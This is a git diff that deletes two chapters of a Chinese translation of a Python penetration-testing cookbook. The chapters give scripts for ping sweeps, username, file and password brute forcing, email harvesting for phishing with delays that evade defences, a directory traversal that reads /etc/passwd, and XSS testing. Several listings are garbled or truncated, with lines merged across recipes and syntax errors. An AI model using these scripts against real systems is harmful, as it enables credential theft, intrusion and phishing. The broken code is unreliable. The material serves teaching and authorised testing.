-确定目标网络后,首先要执行的任务之一是检查哪些主机处于活动状态。实现这一点的一个简单方法是 ping 一个 IP 地址并确认是否收到回复。但是,为多个主机执行此操作可能很快成为一项耗竭的任务。本食谱旨在向您展示如何使用 Scapy 实现这一点。
-
-Scapy 是一个功能强大的工具,可以用来处理网络数据包。虽然我们不会深入讨论 Scapy 可以实现的所有功能,但我们将在本配方中使用它来确定哪些主机回复**互联网控制消息协议**(**ICMP**数据包。虽然您可能可以创建一个简单的 bash 脚本,并将其与一些 grep 过滤结合在一起,但本食谱旨在向您展示一些技术,这些技术对于涉及迭代 IP 范围的任务非常有用,同时也是 Scapy 基本用法的一个示例。
-
-Scapy 可以通过以下命令安装在大多数 Linux 系统上:
-
-```
-$ sudo apt-get install python-scapy
-
-```
-
-## 怎么做…
-
-以下脚本显示了如何使用 Scapy 创建 ICMP 数据包,以便在收到响应时发送和处理响应:
-
-```
-import logging
-logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
-
-import sys
-from scapy.all import *
-
-if len(sys.argv) !=3:
- print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
- sys.exit(0)
-
-livehosts=[]
-#IP address validation
-ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")
-
-if (ipregex.match(sys.argv[1]) is None):
- print "Starting IP address is invalid"
- sys.exit(0)
-if (ipregex.match(sys.argv[1]) is None):
- print "End IP address is invalid"
- sys.exit(0)
-
-iplist1 = sys.argv[1].split(".")
-iplist2 = sys.argv[2].split(".")
-
-if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2])
- print "IP addresses are not in the same class C subnet"
- sys.exit(0)
-
-if iplist1[3]>iplist2[3]:
- print "Starting IP address is greater than ending IP address"
- sys.exit(0)
-
-networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"."
-
-start_ip_last_octet = int(iplist1[3])
-end_ip_last_octet = int(iplist2[3])
-
-if iplist1[3]0:
- print "Hosts found:\n"
- for host in livehosts:
- print host+"\n"
-else:
- print "No live hosts found\n"
-```
-
-## 它是如何工作的…
-
-脚本的第一个部分将在运行时设置对来自 Scapy 的警告消息的抑制。在未配置 IPv6 的计算机上导入 Scapy 时,通常会出现一条关于无法通过 IPv6 路由的警告消息。
-
-```
-import logging
-logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
-```
-
-下一节将导入必要的模块,验证收到的参数数量,并设置一个列表,用于存储发现处于活动状态的主机:
-
-```
-import sys
-from scapy.all import *
-
-if len(sys.argv) !=3:
- print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
- sys.exit(0)
-
-livehosts=[]
-```
-
-然后我们编译一个正则表达式来检查 IP 地址是否有效。这不仅检查字符串的格式,还检查它是否存在于 IPv4 地址空间中。然后使用此编译的正则表达式与提供的参数进行匹配:
-
-```
-#IP address validation
-ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")
-
-if (ipregex.match(sys.argv[1]) is None):
- print "Starting IP address is invalid"
- sys.exit(0)
-if (ipregex.match(sys.argv[1]) is None):
- print "End IP address is invalid"
- sys.exit(0)
-```
-
-验证 IP 地址后,将进行进一步检查,以确保提供的范围为有效范围,并分配用于设置循环参数的变量:
-
-```
-iplist1 = sys.argv[1].split(".")
-iplist2 = sys.argv[2].split(".")
-
-if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2])
- print "IP addresses are not in the same class C subnet"
- sys.exit(0)
-
-if iplist1[3]>iplist2[3]:
- print "Starting IP address is greater than ending IP address"
- sys.exit(0)
-
-networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"."
-
-start_ip_last_octet = int(iplist1[3])
-end_ip_last_octet = int(iplist2[3])
-```
-
-脚本的下一部分纯粹是信息性的,可以省略。它将打印要 ping 的 IP 地址范围,或者在提供的两个参数相等的情况下,打印要 ping 的 IP 地址:
-
-```
-if iplist1[3]=0):
- foundusers.append(user)
- request.close()
-userlist.close()
-
-if len(foundusers)>0:
- print "Found Users:\n"
- for name in foundusers:
- print name+"\n"
-else:
- print "No users found\n"
-```
-
-以下是此脚本的输出示例:
-
-```
-python bruteusernames.py userlist.txt
-Found Users:
-admin
-angela
-bob
-john
-
-```
-
-## 它是如何工作的…
-
-这个脚本引入了比基本用户名检查更多的概念。第一个是打开文件以加载我们的列表:
-
-```
-userlist = open(filename,'r')
-```
-
-这将打开包含用户名列表的文件,并将其加载到`userlist`变量中。然后我们循环浏览列表中的用户列表。在此配方中,我们还使用了以下代码行:
-
-```
-user=user.strip()
-```
-
-此命令去除空白,包括换行符,这有时会在提交前更改编码结果。
-
-如果用户名存在,则会将其附加到列表中。选中所有用户名后,将输出列表的内容。
-
-## 另见
-
-对于单个用户名,您需要使用*基本用户名检查*方法。
-
-# 枚举文件
-
-当枚举 web 应用程序时,您需要确定存在哪些页面。通常使用的一种常见做法称为爬行。爬行的工作原理是:访问一个网站,然后跟踪该页面中的每个链接以及该网站中的任何后续页面。但是,对于某些站点(如 Wiki),如果链接在访问时执行编辑或删除功能,则此方法可能会导致删除数据。这个方法将取而代之的是一个常见的网页文件名列表,并检查它们是否存在。
-
-## 准备好了吗
-
-对于这个配方,您需要创建一个常见页面名称列表。渗透测试发行版(如 Kali Linux)将提供各种暴力工具的单词列表,这些工具可以用来代替生成您自己的。
-
-## 怎么做…
-
-以下脚本将获取可能的文件名列表,并测试网页是否存在于网站中:
-
-```
-#bruteforce file names
-import sys
-import urllib2
-
-if len(sys.argv) !=4:
- print "usage: %s url wordlist fileextension\n" % (sys.argv[0])
- sys.exit(0)
-
-base_url = str(sys.argv[1])
-wordlist= str(sys.argv[2])
-extension=str(sys.argv[3])
-filelist = open(wordlist,'r')
-foundfiles = []
-
-for file in filelist:
- file=file.strip("\n")
- extension=extension.rstrip()
- url=base_url+file+"."+str(extension.strip("."))
- try:
- request = urllib2.urlopen(url)
- if(request.getcode()==200):
- foundfiles.append(file+"."+extension.strip("."))
- request.close()
- except urllib2.HTTPError, e:
- pass
-
-if len(foundfiles)>0:
- print "The following files exist:\n"
- for filename in foundfiles:
- print filename+"\n"
-else:
- print "No files found\n"
-```
-
-下面的输出显示了使用常见网页列表运行**该死的易受攻击的 Web App**(**DVWA**)时可能返回的内容:
-
-```
-python filebrute.py http://192.168.68.137/dvwa/ filelist.txt .php
-The following files exist:
-
-index.php
-
-about.php
-
-login.php
-
-security.php
-
-logout.php
-
-setup.php
-
-instructions.php
-
-phpinfo.php
-
-```
-
-## 它是如何工作的…
-
-导入必要的模块并验证参数数量后,将以只读模式打开要检查的文件名列表,该列表由文件的`open`操作中的`r`参数指示:
-
-```
-filelist = open(wordlist,'r')
-```
-
-当脚本进入文件名列表的循环时,将从文件名中删除任何换行符,因为这将在检查文件名是否存在时影响 URL 的创建。如果提供的扩展中存在前面的`.`,则该扩展也会被剥离。这允许使用包含或不包含前面的`.`的扩展,例如`.php`或`php`:
-
-```
- file=file.strip("\n")
- extension=extension.rstrip()
- url=base_url+file+"."+str(extension.strip("."))
-```
-
-然后,脚本的主要操作通过检查`HTTP 200`代码来检查具有给定文件名的网页是否存在,并捕获不存在的网页给出的任何错误:
-
-```
- try:
- request = urllib2.urlopen(url)
- if(request.getcode()==200):
- foundfiles.append(file+"."+extension.strip("."))
- request.close()
- except urllib2.HTTPError, e:
- pass
-```
-
-# 暴力强制密码
-
-暴力强迫可能不是最优雅的解决方案,但它将自动化可能是一项平凡的任务。通过使用自动化,您可以更快地完成任务,或者至少让自己在同一时间从事其他工作。
-
-## 准备好了吗
-
-要使用此配方,您需要一个要测试的用户名列表和密码列表。虽然这不是暴力强制的真正定义,但它将减少您将要测试的组合数。
-
-### 注
-
-如果您没有可用的密码列表,那么在线上有很多可用的密码,例如 GitHub 上最常见的 10000 个密码,位于[https://github.com/neo/discourse_heroku/blob/master/lib/common_passwords/10k-common-passwords.txt](https://github.com/neo/discourse_heroku/blob/master/lib/common_passwords/10k-common-passwords.txt) 。
-
-## 怎么做…
-
-以下代码显示了如何实现此配方的示例:
-
-```
-#brute force passwords
-import sys
-import urllib
-import urllib2
-
-if len(sys.argv) !=3:
- print "usage: %s userlist passwordlist" % (sys.argv[0])
- sys.exit(0)
-
-filename1=str(sys.argv[1])
-filename2=str(sys.argv[2])
-userlist = open(filename1,'r')
-passwordlist = open(filename2,'r')
-url = "http://www.vulnerablesite.com/login.html"
-foundusers = []
-FailStr="Incorrect User or Password"
-
-for user in userlist:
- for password in passwordlist:
- data = urllib.urlencode({"username="user&"password="password})
- request = urllib2.urlopen(url,data)
- response = request.read()
- if(response.find(FailStr)<0)
- foundcreds.append(user+":"+password)
- request.close()
-
-if len(foundcreds)>0:
- print "Found User and Password combinations:\n"
- for name in foundcreds:
- print name+"\n"
-else:
- print "No users found\n"
-```
-
-以下显示了脚本运行时产生的输出示例:
-
-```
-python bruteforcepasswords.py userlists.txt passwordlist.txt
-
-Found User and Password combinations:
-
-root:toor
-
-angela:trustno1
-
-bob:password123
-
-john:qwerty
-
-```
-
-## 它是如何工作的…
-
-初始导入必要的模块并检查系统参数后,我们设置密码检查:
-
-```
-filename1=str(sys.argv[1])
-filename2=str(sys.argv[2])
-userlist = open(filename1,'r')
-passwordlist = open(filename2,'r')
-```
-
-文件名参数存储在变量中,然后打开变量。`r`变量表示我们以只读方式打开这些文件。
-
-我们还指定目标并初始化数组以存储找到的任何有效凭据:
-
-```
-url = "http://www.vulnerablesite.com/login.html"
-foundusers = []
-FailStr="Incorrect User or Password"
-```
-
-前面代码中的`FailStr`变量只是为了让我们的生活更轻松,它使用了一个简短的变量名来键入,而不是键入整个字符串。
-
-此配方的主要步骤是在一个嵌套循环中执行我们的自动密码检查:
-
-```
-for user in userlist:
- for password in passwordlist:
- data = urllib.urlencode({"username="user&"password="password })
- request = urllib2.urlopen(url,data)
- response = request.read()
- if(response.find(FailStr)<0)
- foundcreds.append(user+":"+password)
- request.close()
-```
-
-在这个循环中,发送一个请求,包括用户名和密码作为参数。如果响应不包含表示用户名和密码组合无效的字符串,那么我们知道我们有一组有效的凭据。然后,我们将这些凭据添加到前面创建的数组中。
-
-在尝试了所有的用户名和密码组合后,我们将检查数组是否有凭据。如果是这样,我们就打印凭证。如果没有,我们会打印一条悲伤的消息,通知我们没有发现任何东西:
-
-```
-if len(foundcreds)>0:
- print "Found User and Password combinations:\n"
- for name in foundcreds:
- print name+"\n"
-else:
- print "No users found\n"
-```
-
-## 另见
-
-如果你想找到用户名,你可能还想利用*检查用户名有效性*和*强制使用用户名*的方法。
-
-# 根据姓名生成电子邮件地址
-
-在某些场景中,您可能有目标公司的员工列表,并且希望生成电子邮件地址列表。电子邮件地址可能很有用。您可能希望使用它们执行网络钓鱼攻击,或者您可能希望使用它们尝试登录到公司的应用程序,例如包含敏感内部文档的电子邮件或公司门户。
-
-## 准备好了吗
-
-在使用此配方之前,您需要有一个要使用的名称列表。如果你没有名字列表,你可能要考虑首先对你的目标执行一个开源情报练习。
-
-## 怎么做…
-
-以下代码将获取包含姓名列表的文件,并生成不同格式的电子邮件地址列表:
-
-```
-import sys
-
-if len(sys.argv) !=3:
- print "usage: %s name.txt email suffix" % (sys.argv[0])
- sys.exit(0)
-for line in open(sys.argv[1]):
- name = ''.join([c for c in line if c == " " or c.isalpha()])
- tokens = name.lower().split()
- fname = tokens[0]
- lname = tokens[-1]
- print fname+lname+sys.argv[2]
- print lname+fname+sys.argv[2]
- print fname+"."+lname+sys.argv[2]
- print lname+"."+fname+sys.argv[2]
- print lname+fname[0]+sys.argv[2]
- print fname+lname+fname+sys.argv[2]
- print fname[0]+lname+sys.argv[2]
- print fname[0]+"."+lname+sys.argv[2]
- print lname[0]+"."+fname+sys.argv[2]
- print fname+sys.argv[2]
- print lname+sys.argv[2]
-```
-
-## 它是如何工作的…
-
-这个方法的主要机制是使用字符串连接。通过将名字或首字母与姓氏以不同的组合与电子邮件后缀连接起来,您就有了一个潜在电子邮件地址列表,可以在以后的测试中使用。
-
-## 还有更多…
-
-特色食谱展示了如何使用姓名列表生成电子邮件地址列表。但是,并非所有电子邮件地址都有效。您可以通过在公司的应用程序中使用枚举技术进一步缩小此列表的范围,该技术可能会揭示电子邮件地址是否存在。您还可以执行进一步的开源情报调查,这可能使您能够确定目标组织电子邮件地址的正确格式。如果您成功地实现了这一点,那么您可以从配方中删除任何不必要的格式,以生成更简洁的电子邮件地址列表,从而在以后为您提供更大的价值。
-
-## 另见
-
-一旦您获得了电子邮件地址,您可能希望将其作为*检查用户名有效性*方法的一部分。
-
-# 从网页中查找电子邮件地址
-
-您可能会发现目标组织的网页上会有一些电子邮件列表,而不是生成您自己的电子邮件列表。这可能证明比您自己生成的电子邮件地址具有更高的价值,因为目标组织网站上的电子邮件地址有效的可能性将远远高于您尝试猜测的电子邮件地址。
-
-## 准备好了吗
-
-对于这个配方,您需要一个要解析电子邮件地址的页面列表。您可能希望访问目标组织的网站并搜索站点地图。然后,可以解析站点地图,查找指向网站中存在的页面的链接。
-
-## 怎么做…
-
-以下代码将解析 URL 列表中与电子邮件地址格式匹配的文本实例的响应,并将其保存到文件中:
-
-```
-import urllib2
-import re
-import time
-from random import randint
-regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'"
- "{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|"
- "\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)"))
-
-tarurl = open("urls.txt", "r")
-for line in tarurl:
- output = open("emails.txt", "a")
- time.sleep(randint(10, 100))
- try:
- url = urllib2.urlopen(line).read()
- output.write(line)
- emails = re.findall(regex, url)
- for email in emails:
- output.write(email[0]+"\r\n")
- print email[0]
- except:
- pass
- print "error"
- output.close()
-```
-
-## 它是如何工作的…
-
-导入必要的模块后,您将看到`regex`变量的赋值:
-
-```
-regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'"
- "{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|"
- "\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)"))
-```
-
-这会尝试匹配电子邮件地址格式,例如`victim@target.com`或目标网站上的受害者。然后,代码打开一个包含 URL 的文件:
-
-```
-tarurl = open("urls.txt", "r")
-```
-
-您可能会注意到参数 `r`的使用。这将以只读模式打开文件。然后,代码在 URL 列表中循环。在循环中,打开一个文件以将电子邮件地址保存到:
-
-```
-output = open("emails.txt", "a")
-```
-
-这次使用了`a`参数。这表示将追加对此文件的任何输入,而不是覆盖整个文件。该脚本使用睡眠计时器,以避免触发目标为防止攻击而采取的任何保护措施:
-
-```
-time.sleep(randint(10, 100))
-```
-
-此计时器将在`10`和`100`秒之间的任意时间内暂停脚本。
-
-在使用`urlopen()`方法时,使用异常处理是至关重要的。如果来自`urlopen()`的响应为`404 (HTTP not found error)`,则脚本将出错并退出。
-
-如果有有效的响应,脚本将把所有电子邮件地址实例存储在`emails`变量中:
-
-```
-emails = re.findall(regex, url)
-```
-
-然后循环通过`emails`变量,将列表中的每一项写入`emails.txt`文件,并输出到控制台进行确认:
-
-```
- for email in emails:
- output.write(email[0]+"\r\n")
- print email[0]
-```
-
-## 还有更多…
-
-此配方中使用的常规表达式匹配匹配两种常见的格式,用于表示 Internet 上的电子邮件地址。在您的学习和调查过程中,您可能会遇到您可能希望包含在匹配中的其他格式。有关 Python 中正则表达式的更多信息,您可能需要阅读 Python 网站上的文档,获取位于[的正则表达式 https://docs.python.org/2/library/re.html](https://docs.python.org/2/library/re.html) 。
-
-## 另见
-
-有关更多信息,请参阅*从名称*生成电子邮件地址的方法。
-
-# 在源代码中查找注释
-
-一个常见的安全问题是由良好的编程实践引起的。在 web 应用程序的开发阶段,开发人员将对其代码进行注释。这在这一阶段非常有用,因为它有助于理解代码,并且由于各种原因将作为有用的提醒。但是,当 web 应用程序准备在生产环境中部署时,最好删除所有这些注释,因为它们可能对攻击者有用。
-
-此配方将使用`Requests`和`BeautifulSoup`的组合来搜索 URL 以获取评论,同时搜索页面上的链接并搜索后续 URL 以获取评论。跟踪页面链接并分析这些 URL 的技术称为 spidering。
-
-## 怎么做…
-
-下面的脚本将在源代码中为注释和链接刮取 URL。然后,它还将执行有限的爬网和搜索链接 URL 以查找注释:
-
-```
-import requests
-import re
-
-from bs4 import BeautifulSoup
-import sys
-
-if len(sys.argv) !=2:
- print "usage: %s targeturl" % (sys.argv[0])
- sys.exit(0)
-
-urls = []
-
-tarurl = sys.argv[1]
-url = requests.get(tarurl)
-comments = re.findall('',url.text)
-print "Comments on page: "+tarurl
-for comment in comments:
- print comment
-
-soup = BeautifulSoup(url.text)
-for line in soup.find_all('a'):
- newline = line.get('href')
- try:
- if newline[:4] == "http":
- if tarurl in newline:
- urls.append(str(newline))
- elif newline[:1] == "/":
- combline = tarurl+newline
- urls.append(str(combline))
- except:
- pass
- print "failed"
-for uurl in urls:
- print "Comments on page: "+uurl
- url = requests.get(uurl)
- comments = re.findall('',url.text)
- for comment in comments:
- print comment
-```
-
-## 它是如何工作的…
-
-在初始导入必要的模块并设置变量后,脚本首先获取目标 URL 的源代码。
-
-您可能已经注意到,对于`Beautifulsoup`,我们有以下行:
-
-```
-from bs4 import BeautifulSoup
-```
-
-因此,当我们使用`BeautifulSoup`时,我们只需键入`BeautifulSoup`而不是`bs4.BeautifulSoup`。
-
-然后,它搜索 HTML 注释的所有实例并将其打印出来:
-
-```
-url = requests.get(tarurl)
-comments = re.findall('',url.text)
-print "Comments on page: "+tarurl
-for comment in comments:
- print comment
-```
-
-然后,脚本将使用`Beautifulsoup`来刮取绝对(从`http`开始)和相对(从`/`开始)链接的任何实例的源代码:
-
-```
-if newline[:4] == "http":
- if tarurl in newline:
- urls.append(str(newline))
- elif newline[:1] == "/":
- combline = tarurl+newline
- urls.append(str(combline))
-```
-
-一旦脚本整理了链接到页面的 URL 列表,它就会在每个页面上搜索 HTML 注释。
-
-## 还有更多…
-
-这个食谱展示了一个基本的注释刮取和爬虫的例子。这是可能的,以增加更多的智慧,这个食谱,以满足您的需要。例如,您可能希望说明使用以`.`或`..`开头表示当前目录和父目录的相对链接。
-
-您还可以向爬行部分添加更多控件。您可以从提供的目标 URL 中提取域,并创建一个过滤器,该过滤器不会刮取目标外部域的链接。这对于需要遵守目标范围的专业活动尤其有用。
\ No newline at end of file
diff --git a/trans/py-pentest-dev/20.md b/trans/py-pentest-dev/20.md
deleted file mode 100644
index 2ed0df4..0000000
--- a/trans/py-pentest-dev/20.md
+++ /dev/null
@@ -1,943 +0,0 @@
-# 第三章漏洞识别
-
-在本章中,我们将介绍以下主题:
-
-* 基于 URL 的自动目录遍历
-* 自动跨站点脚本(参数和 URL)
-* 自动基于参数的跨站点脚本
-* 自动模糊
-* jQuery 检查
-* 基于头的跨站点脚本
-* 壳震检查
-
-# 导言
-
-本章重点从前 10 名**开放式 web 应用程序安全项目**(**OWASP**中识别传统 web 应用程序漏洞。这将包括**跨站点脚本编制**(**XSS**)、目录遍历,以及其他简单到可以检查的漏洞,这些漏洞不足以保证它们自己的章节。本章提供了每个脚本的基于参数和基于 URL 的版本,以考虑可能发生的情况并降低单个脚本的复杂性。这些工具中的大多数都有精心设计的备选方案,例如 Burp 入侵者。在简化的 Python 中查看每个工具的好处是,它允许您了解如何构建和制作自己的版本。
-
-# 基于 URL 的自动目录遍历
-
-偶尔,网站使用不受限制的功能调用文件;这可以允许传说中的目录遍历或**直接对象引用**(**DOR**)。在此攻击中,用户可以使用易受攻击的参数调用网站上下文中的任意文件。这有两种操作方式:首先,通过提供一个绝对链接,如`/etc/passwd`,它表示从`root`目录浏览到`etc`目录并打开`passwd`文件;其次,向上移动目录以到达`root`目录并移动到预期文件的相对链接。
-
-我们将创建一个脚本,试图打开 Linux 机器上始终存在的文件,即前面提到的`/etc/passwd`文件,方法是将 up 目录的数量逐渐增加到 URL 中的一个参数。它将通过检测表示文件已打开的词组 root 来识别它何时成功。
-
-## 准备好了吗
-
-标识要测试的 URL 参数。此脚本已配置为适用于大多数设备:`etc/passwd`应适用于 OSX 和 Linux 安装,`boot.ini`应适用于 Windows 安装。请参阅本例末尾的 PHP 网页,该网页可用于测试脚本的有效性。
-
-我们将使用可通过`pip`安装的请求库。在作者看来,它在功能性和可用性方面都优于`urllib`。
-
-## 怎么做…
-
-确定要攻击的参数后,将其作为命令行参数传递给脚本。您的脚本应与以下脚本相同:
-
-```
-import requests
-import sys
-url = sys.argv[1]
-payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}
-up = "../"
-i = 0
-for payload, string in payloads.iteritems():
- for i in xrange(7):
- req = requests.post(url+(i*up)+payload)
- if string in req.text:
- print "Parameter vulnerable\r\n"
- print "Attack string: "+(i*up)+payload+"\r\n"
- print req.text
- break
-```
-
-以下是使用此脚本时生成的输出示例:
-
-```
-Parameter vulnerable
-
-Attack string: ../../../../../etc/passwd
-
-Get me /etc/passwd! File Contents:root:x:0:0:root:/root:/bin/bash
-daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-bin:x:2:2:bin:/bin:/usr/sbin/nologin
-sys:x:3:3:sys:/dev:/usr/sbin/nologin
-sync:x:4:65534:sync:/bin:/bin/sync
-games:x:5:60:games:/usr/games:/usr/sbin/nologin
-```
-
-## 它是如何工作的…
-
-我们导入此脚本所需的库,就像我们在模块中完成的所有其他脚本一样:
-
-```
-url = sys.argv[1]
-```
-
-然后,我们以 URL 的形式进行输入。当我们使用`requests`库时,我们应该确保我们的 URL 与表单请求所期望的匹配,即`http(s)://url`。如果您出错,请求将提醒您:
-
-```
-payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}
-```
-
-我们在字典中建立每次攻击中要发送的有效负载。每对中的第一个值是我们希望尝试加载的文件,第二个值肯定位于该文件中。第二个值越具体,出现的误报越少;然而,这可能会增加假阴性的机会。请随意在此处包含您自己的文件:
-
-```
-up = "../"
-i = 0
-```
-
-我们提供 up 目录快捷方式`../`并将其分配给 up 变量,我们将循环计数器设置为`0`:
-
-```
-for payload, string in payloads.iteritems():
- while i < 7:
-```
-
-`Iteritems`方法允许我们遍历字典,获取每个键和值,并将它们分配给变量。我们将第一个值指定为有效负载,将第二个值指定为字符串。然后,我们对循环设置上限,以防止它在发生故障时永远重复。我已将其设置为`7`,但您可以将其设置为任何值。请记住,web 应用程序的目录结构可能高于`7`:
-
-```
-req = requests.post(url+(i*up)+payload)
-```
-
-我们通过获取根 URL 并根据循环和负载添加当前数量的 up 目录来设计请求。然后在 post 请求中发送:
-
-```
-if string in req.text:
- print "Parameter vulnerable\r\n"
- print "Attack string: "+(i*up)+payload+"\r\n"
- print req.text
- break
-```
-
-我们通过在响应中查找预期字符串来检查是否达到了目标。如果字符串存在,我们停止循环并打印出攻击字符串以及对成功攻击的响应。这允许我们手动验证攻击是否成功,代码是否需要重构,或者 web 应用程序是否不易受攻击:
-
-```
- i = i+1
- i = 0
-```
-
-最后,计数器被添加到每个循环中,直到达到预设的最大值。一旦达到最大值,下一个攻击字符串将设置为零。
-
-## 还有更多
-
-通过应用本模块其他部分所示的原理,可以调整该配方,以使用参数。但是,由于通过参数调用的页面很少,而且有意简洁,因此未提供此功能。
-
-如前所述,可以通过添加其他文件及其常见字符串来扩展此功能。一旦建立了遍历目录的能力和到达根目录所需的深度,它还可以扩展到抓取所有感兴趣的文件。
-
-下面是一个 PHP 网页,允许您在自己的构建中测试此脚本。只要把它放在你的`var/www`目录或任何你使用的解决方案中。请勿在未知网络上保持此活动状态:
-
-```
-
-```
-
-# 基于 URL 的自动跨站点脚本
-
-反映跨站点脚本通常通过基于 URL 的参数进行。你应该知道什么是跨站点脚本,如果你不知道,我为你感到尴尬。来真的我必须解释一下吗?可以跨站点脚本是将 JavaScript 注入页面。这是黑客 101,也是大多数人遇到或听到的第一次攻击。阻止跨站点脚本的低效方法主要集中在目标脚本标记上,由于脚本标记不是在页面中使用 JavaScript 所必需的,因此有很多方法可以解决这一问题。
-
-我们将创建一个脚本,该脚本采用各种标准规避技术,并使用`Requests`库将其应用于自动提交。我们将知道脚本是否成功,因为脚本或其早期版本将出现在提交后的页面上。
-
-## 怎么做…
-
-我们将使用的脚本如下所示:
-
-```
-import requests
-import sys
-url = sys.argv[1]
-payloads = ['', '']
-for payload in payloads:
- req = requests.post(url+payload)
- if payload in req.text:
- print "Parameter vulnerable\r\n"
- print "Attack string: "+payload
- print req.text
- break
-```
-
-以下是使用此脚本时生成的输出示例:
-
-```
-Parameter vulnerable
-
-Attack string:
-
-Give me XSS:
-
-```
-
-## 它是如何工作的…
-
-此脚本类似于早期的目录遍历脚本。这一次,我们创建了一个有效负载列表,而不是一个字典,因为检查字符串和有效负载是相同的:
-
-```
-payloads = ['', '']
-```
-
-然后,我们使用与之前类似的循环遍历这些值,并逐一提交:
-
-```
-for payload in payloads:
- req = requests.post(url+payload)
-```
-
-每个有效负载都会附加到 URL 的末尾,并以一个未加编码的参数发送,如`127.0.0.1/xss/xss.php?comment=`。有效负载将添加到该字符串的末尾,以便生成有效语句。然后检查该字符串是否出现在下一页中:
-
-```
-if payload in req.text:
- print "Parameter vulnerable\r\n"
- print "Attack string: "+payload
- print req.text
- break
-```
-
-跨站点脚本非常简单,而且非常容易自动化和检测,因为攻击字符串通常与结果相同。目录遍历或 SQLi 的困难在于结果并不总是可预测的,我们将在后面遇到。如果成功的跨站点脚本攻击,则会发生。
-
-## 还有更多…
-
-可以通过提供更多的攻击字符串来扩展此攻击。在 Mozilla FuzzDB 中可以找到许多示例,我们将在后面的*自动模糊化*部分脚本中使用这些示例。此外,可以使用原始的`urllib`库应用各种形式的编码,该库在本模块的各个不同示例中都有展示。
-
-# 基于参数的自动跨站点脚本
-
-我已经说过,跨站点脚本编写非常简单。有趣的是,以脚本方式执行存储的跨站点脚本要稍微困难一些。在这一点上,我可能应该收回我先前的话,但无论如何。这里的困难在于系统通常从一个页面获取输入结构,提交到另一个页面,然后返回第三个页面。下面的脚本旨在处理最复杂的结构。
-
-我们将创建一个脚本,该脚本接受三个输入值,读取并正确提交所有三个值,并检查是否成功。它与早期的基于 URL 的跨站点脚本共享代码,但在执行上有根本的不同。
-
-## 怎么做…
-
-下面的脚本是功能测试。这是一个脚本,可以在类似于 sublime text 或 IDE 的框架中手动编辑,因为存储的 XSS 可能需要修改:
-
-```
-import requests
-import sys
-from bs4 import BeautifulSoup, SoupStrainer
-url = "http://127.0.0.1/xss/medium/guestbook2.php"
-url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
-url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
-payloads = ['', 'alert(1);', '']
-initial = requests.get(url)
-for payload in payloads:
- d = {}
- for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
- if field.has_attr('name'):
- if field['name'].lower() == "submit":
- d[field['name']] = "submit"
- else:
- d[field['name']] = payload
- req = requests.post(url2, data=d)
- checkresult = requests.get(url3)
-
- if payload in checkresult.text:
- print "Full string returned"
- print "Attack string: "+ payload
-```
-
-以下是将此脚本与两个成功字符串一起使用时生成的输出示例:
-
-```
-Full string returned
-Attack string:
-Full string returned
-Attack string:
-```
-
-## 它是如何工作的…
-
-我们一次又一次地导入我们的库,并建立我们要攻击的 URL。这里,`url`是带有要攻击的参数的页面,`url2`是要提交内容的页面,`url3`是检测攻击是否成功的最终读取页面。其中一些 URL 可能是共享的。之所以以这种形式设置它们,是因为很难为存储的跨站点脚本创建点击式脚本:
-
-```
-url = "http://127.0.0.1/xss/medium/guestbook2.php"
-url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
-url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
-```
-
-然后我们建立有效载荷列表。与基于 URL 的 XSS 脚本一样,有效负载和检查值相同:
-
-```
-payloads = ['', 'alert(1);', '']
-```
-
-然后,我们创建一个空字典,将有效负载与每个标识的输入框配对:
-
-```
-d = {}
-```
-
-我们的目标是攻击页面中的每个输入参数,因此接下来,我们阅读目标页面:
-
-```
-initial = requests.get(url)
-```
-
-然后,我们为放入有效负载列表中的每个值创建一个循环:
-
-```
-for payload in payloads:
-```
-
-然后,我们使用`BeautifulSoup`处理页面,这是一个库,允许我们根据页面的标签和定义特征雕刻页面。我们使用它来标识每个输入字段,并选择其名称,以便向其发送内容:
-
-```
-for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
- if field.has_attr('name'):
-```
-
-由于大多数网页中输入框的性质,任何名为`submit`的字段都不是跨站点脚本的目标,而是需要将`submit`作为一个值,以便我们的攻击成功。我们创建了一个`if`函数来检测是否是这种情况,使用`.lower()`函数可以轻松地解释可能使用的大写值。如果该字段不用于验证提交文件,我们将使用当前使用的有效负载进行填充:
-
-```
-if field['name'].lower() == "submit":
- d[field['name']] = "submit"
- else:
- d[field['name']] = payload
-```
-
